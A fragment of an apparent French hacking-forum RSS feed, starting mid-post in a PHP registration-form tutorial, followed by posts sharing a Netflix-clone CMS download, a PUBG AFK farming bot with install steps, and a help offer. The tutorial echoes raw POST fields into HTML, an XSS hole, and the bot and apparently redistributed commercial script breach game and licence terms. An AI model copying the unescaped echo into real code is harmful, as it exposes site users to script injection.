style="color: #0000BB">form&nbsp;role</span><span style="color: #007700">=</span><span style="color: #DD0000">"form"&nbsp;</span><span style="color: #0000BB">method</span><span style="color: #007700">=</span><span style="color: #DD0000">"post"&nbsp;</span><span style="color: #0000BB">action</span><span style="color: #007700">=</span><span style="color: #DD0000">""&nbsp;</span><span style="color: #0000BB">autocomplete</span><span style="color: #007700">=</span><span style="color: #DD0000">"off"</span><span style="color: #007700">&gt;<br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"text"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"username"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"username"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"User&nbsp;Name"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'username'];&nbsp;}&nbsp;?&gt;"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"1"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"email"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Email&nbsp;Address"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'email'];&nbsp;}&nbsp;?&gt;"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"2"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"row"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-sm-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Password"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"3"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-sm-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-group"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"password"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"passwordConfirm"&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">=</span><span style="color: #DD0000">"passwordConfirm"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"form-control&nbsp;input-lg"&nbsp;</span><span style="color: #0000BB">placeholder</span><span style="color: #007700">=</span><span style="color: #DD0000">"Confirm&nbsp;Password"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"4"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"row"</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;</span><span style="color: #0000BB">div&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"col-xs-6&nbsp;col-md-6"</span><span style="color: #007700">&gt;&lt;</span><span style="color: #0000BB">input&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"submit"&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">=</span><span style="color: #DD0000">"submit"&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">=</span><span style="color: #DD0000">"Register"&nbsp;</span><span style="color: #007700">class=</span><span style="color: #DD0000">"btn&nbsp;btn-primary&nbsp;btn-block&nbsp;btn-lg"&nbsp;</span><span style="color: #0000BB">tabindex</span><span style="color: #007700">=</span><span style="color: #DD0000">"5"</span><span style="color: #007700">&gt;&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">div</span><span style="color: #007700">&gt;<br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">form</span><span style="color: #007700">&gt;<br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value</span><span style="color: #007700">=</span><span style="color: #DD0000">"&lt;?php&nbsp;if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #DD0000">)){&nbsp;echo&nbsp;</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'email'];&nbsp;}&nbsp;?&gt;"<br /><br /><br /></span><span style="color: #0000BB"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #FF8000">//check&nbsp;for&nbsp;any&nbsp;errors<br /></span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">)){<br /></span><span style="color: #0000BB"> foreach</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;error&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">){<br /></span><span style="color: #0000BB"> &nbsp; echo&nbsp;</span><span style="color: #DD0000">'&lt;p&nbsp;class="bg-danger"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;error</span><span style="color: #007700">.</span><span style="color: #DD0000">'&lt;/p&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB"> </span><span style="color: #007700">}<br />}<br /><br /><br />if(isset(</span><span style="color: #0000BB">&#36;_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'action'</span><span style="color: #007700">])&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">&#36;_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'action'</span><span style="color: #007700">]&nbsp;==&nbsp;</span><span style="color: #DD0000">'joined'</span><span style="color: #007700">){<br /></span><span style="color: #0000BB"> echo&nbsp;</span><span style="color: #DD0000">"&lt;h2&nbsp;class='bg-success'&gt;Registration&nbsp;successful,&nbsp;please&nbsp;check&nbsp;your&nbsp;email&nbsp;to&nbsp;activate&nbsp;your&nbsp;account.&lt;/h2&gt;"</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//if&nbsp;form&nbsp;has&nbsp;been&nbsp;submitted&nbsp;process&nbsp;it<br /></span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'submit'</span><span style="color: #007700">])){&nbsp;<br /></span></code></div></div></div><br />
<br />
Ensuite au fichier config (Situé dans Includes)<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">Code PHP :</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />ob_start</span><span style="color: #007700">();<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br /><br /></span><span style="color: #FF8000">//set&nbsp;timezone<br /></span><span style="color: #0000BB">date_default_timezone_set</span><span style="color: #007700">(</span><span style="color: #DD0000">'Europe/London'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//database&nbsp;credentials<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBHOST'</span><span style="color: #007700">,</span><span style="color: #DD0000">'host'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBUSER'</span><span style="color: #007700">,</span><span style="color: #DD0000">'user'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBPASS'</span><span style="color: #007700">,</span><span style="color: #DD0000">'mdp'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DBNAME'</span><span style="color: #007700">,</span><span style="color: #DD0000">'bdd'</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//application&nbsp;address<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'DIR'</span><span style="color: #007700">,</span><span style="color: #DD0000">'http://domain.com/'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">define</span><span style="color: #007700">(</span><span style="color: #DD0000">'SITEEMAIL'</span><span style="color: #007700">,</span><span style="color: #DD0000">'noreply@domain.com'</span><span style="color: #007700">);<br /><br />try&nbsp;{<br /><br /></span><span style="color: #0000BB"> &nbsp; </span><span style="color: #FF8000">//create&nbsp;PDO&nbsp;connection&nbsp;<br /></span><span style="color: #0000BB"> &nbsp; &#36;db&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PDO</span><span style="color: #007700">(</span><span style="color: #DD0000">"mysql:host="</span><span style="color: #007700">.</span><span style="color: #0000BB">DBHOST</span><span style="color: #007700">.</span><span style="color: #DD0000">";port=8889;dbname="</span><span style="color: #007700">.</span><span style="color: #0000BB">DBNAME</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">DBUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">DBPASS</span><span style="color: #007700">);<br /></span><span style="color: #0000BB"> &nbsp; &#36;db</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">setAttribute</span><span style="color: #007700">(</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">ATTR_ERRMODE</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">ERRMODE_EXCEPTION</span><span style="color: #007700">);<br /><br />}&nbsp;catch(</span><span style="color: #0000BB">PDOException&nbsp;&#36;e</span><span style="color: #007700">)&nbsp;{<br /></span><span style="color: #0000BB"> &nbsp; </span><span style="color: #FF8000">//show&nbsp;error<br /></span><span style="color: #0000BB"> &nbsp; echo&nbsp;</span><span style="color: #DD0000">'&lt;p&nbsp;class="bg-danger"&gt;'</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;e</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">getMessage</span><span style="color: #007700">().</span><span style="color: #DD0000">'&lt;/p&gt;'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB"> &nbsp; exit</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #FF8000">//include&nbsp;the&nbsp;user&nbsp;class,&nbsp;pass&nbsp;in&nbsp;the&nbsp;database&nbsp;connection<br /></span><span style="color: #007700">include(</span><span style="color: #DD0000">'classes/user.php'</span><span style="color: #007700">);<br />include(</span><span style="color: #DD0000">'classes/phpmailer/mail.php'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">&#36;user&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">User</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;db</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB">?&gt;</span></code></div></div></div><br />
Puis le fichier header.php <br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>!DOCTYPE html&gt;<br />
&lt;html lang="en"&gt;<br />
&lt;head&gt;<br />
   &lt;meta charset="utf-8"&gt;<br />
   &lt;title&gt;&lt;?php if(isset(&#36;title)){ echo &#36;title; }?&gt;&lt;/title&gt;<br />
   &lt;link href="//netdna.bootstrapcdn.com/bootstrap/3.1.0/css/bootstrap.min.css" rel="stylesheet"&gt;<br />
   &lt;link rel="stylesheet" href="style/main.css"&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CMS NetFlix [Videoflix v1.2]]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4013</link>
			<pubDate>Fri, 06 Apr 2018 13:33:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=52388">SLAYERS</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4013</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color">Hello </span>!</div>
<br />
<div style="text-align: center;" class="mycode_align">Je vous partage VidéoFlix "Cms de Netflix" !</div>
<br />
<div style="text-align: center;" class="mycode_align"><img src="https://starsblitz.com/687474703a2f2f766d61782d73747564696f2e636f6d2f656e7661746f2f766964656f666c69782f636f646563616e796f6e2f73637265656e732e6a7067.jpg" loading="lazy"  alt="[Image: 687474703a2f2f766d61782d73747564696f2e63...6a7067.jpg]" class="mycode_img" /></div>
<br />
<div style="text-align: center;" class="mycode_align">Download : <a href="http://uptobox.com/6nurnlwes5mw" target="_blank" rel="noopener" class="mycode_url">http://uptobox.com/6nurnlwes5mw </a></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=564" target="_blank" title="">videoflix-12.rar</a><br><i> (Taille : 7.43 Mo / Téléchargements : 34)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color">Hello </span>!</div>
<br />
<div style="text-align: center;" class="mycode_align">Je vous partage VidéoFlix "Cms de Netflix" !</div>
<br />
<div style="text-align: center;" class="mycode_align"><img src="https://starsblitz.com/687474703a2f2f766d61782d73747564696f2e636f6d2f656e7661746f2f766964656f666c69782f636f646563616e796f6e2f73637265656e732e6a7067.jpg" loading="lazy"  alt="[Image: 687474703a2f2f766d61782d73747564696f2e63...6a7067.jpg]" class="mycode_img" /></div>
<br />
<div style="text-align: center;" class="mycode_align">Download : <a href="http://uptobox.com/6nurnlwes5mw" target="_blank" rel="noopener" class="mycode_url">http://uptobox.com/6nurnlwes5mw </a></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=564" target="_blank" title="">videoflix-12.rar</a><br><i> (Taille : 7.43 Mo / Téléchargements : 34)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Besoin d'aide ?]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=3998</link>
			<pubDate>Tue, 03 Apr 2018 17:11:06 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=57982">Electralite</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=3998</guid>
			<description><![CDATA[Salut, je suis développeur en PHP, MySql, HTML, CSS et actuellement développeur sur <a href="https://socialcraft.fr" target="_blank" rel="noopener" class="mycode_url">https://socialcraft.fr</a>, donc si vous avez besoin d'aide sur ces langages n'hésitez pas à m'appeler  <img src="https://forum.cs-hackers.com/images/smilies/newGen/wink.png" alt="Wink" title="Wink" class="smilie smilie_267" />]]></description>
			<content:encoded><![CDATA[Salut, je suis développeur en PHP, MySql, HTML, CSS et actuellement développeur sur <a href="https://socialcraft.fr" target="_blank" rel="noopener" class="mycode_url">https://socialcraft.fr</a>, donc si vous avez besoin d'aide sur ces langages n'hésitez pas à m'appeler  <img src="https://forum.cs-hackers.com/images/smilies/newGen/wink.png" alt="Wink" title="Wink" class="smilie smilie_267" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[(RELEASE) PUBG Bot AFK Farmer]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=3732</link>
			<pubDate>Wed, 24 Jan 2018 19:01:40 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=57263">TheMcK</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=3732</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align">Bonsoir Cs-Hackers</div>
<div style="text-align: center;" class="mycode_align">---------------------------------------------------------------</div>
<div style="text-align: center;" class="mycode_align">(Démo de Bot Afk Farmer en vidéo: <a href="https://www.youtube.com/watch?v=hJwbNXh_LHM" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=hJwbNXh_LHM</a>) <span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u">PS: Diminuez le son </span></span></div>
<br />
<br />
<div style="text-align: center;" class="mycode_align">Pour commencer ouvrez Python <span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">3.6.2</span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Ouvrez le cmd de python en administrateur et entrez les commandes ci-dessous une par une:</span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">py -m pip install pyautogui<br />
<br />
py -m pip install psutil<br />
<br />
py -m pip install Pillow<br />
<br />
Changer "config_1920x1080.json" ou "config_1366x768.json" à -&gt;  "config.json" dépend de votre résolution d'écran</span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Ensuite, ouvrez "SuperBots" sélectionnez votre serveur et le mode </span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">Enjoy <img src="https://forum.cs-hackers.com/images/smilies/newGen/happywide.png" alt="Happywide" title="Happywide" class="smilie smilie_271" /></span></span></span></span></span></span></span>[/b]</div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">[b]<span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">------------------------------------------------------------</span></span></span></span></span></span></span>[/b]</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Virus scan : </span><a href="https://www.virustotal.com/vi/file/f242a18bc76b41f0a6ee215ee6d97b061249e1b865e14ff07754739093f7119d/analysis/1504490666/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #4b0082;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b"><span style="color: #284c7e;" class="mycode_color">https://www.virustotal.com/vi/file/f...is/1504490666/</span></span></span></a></span></span></span></span></span></span></div>
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Telecharger:</span></div>
[hide]<!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="Rar" border="0" alt=".rar" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=497" target="_blank" title="">botpubg.rar</a><br><i> (Taille : 5.12 Ko / Téléchargements : 3)</i> </div>
<!-- end: postbit_attachments_attachment -->[/hide]<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Si vous aviez des questions ou autres n'hésitez pas à me demander.</span></span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">--------------------------</span></span></span></span></span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b">Image démo:  <img src="https://i.ytimg.com/vi/EZRGYZ0qEtY/maxresdefault.jpg" loading="lazy"  alt="[Image: maxresdefault.jpg]" class="mycode_img" /></span></span></span></span></span></div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align">Bonsoir Cs-Hackers</div>
<div style="text-align: center;" class="mycode_align">---------------------------------------------------------------</div>
<div style="text-align: center;" class="mycode_align">(Démo de Bot Afk Farmer en vidéo: <a href="https://www.youtube.com/watch?v=hJwbNXh_LHM" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/watch?v=hJwbNXh_LHM</a>) <span style="font-weight: bold;" class="mycode_b"><span style="text-decoration: underline;" class="mycode_u">PS: Diminuez le son </span></span></div>
<br />
<br />
<div style="text-align: center;" class="mycode_align">Pour commencer ouvrez Python <span style="font-weight: bold;" class="mycode_b"><span style="color: #4b0082;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif;" class="mycode_font">3.6.2</span></span></span></span></div>
<br />
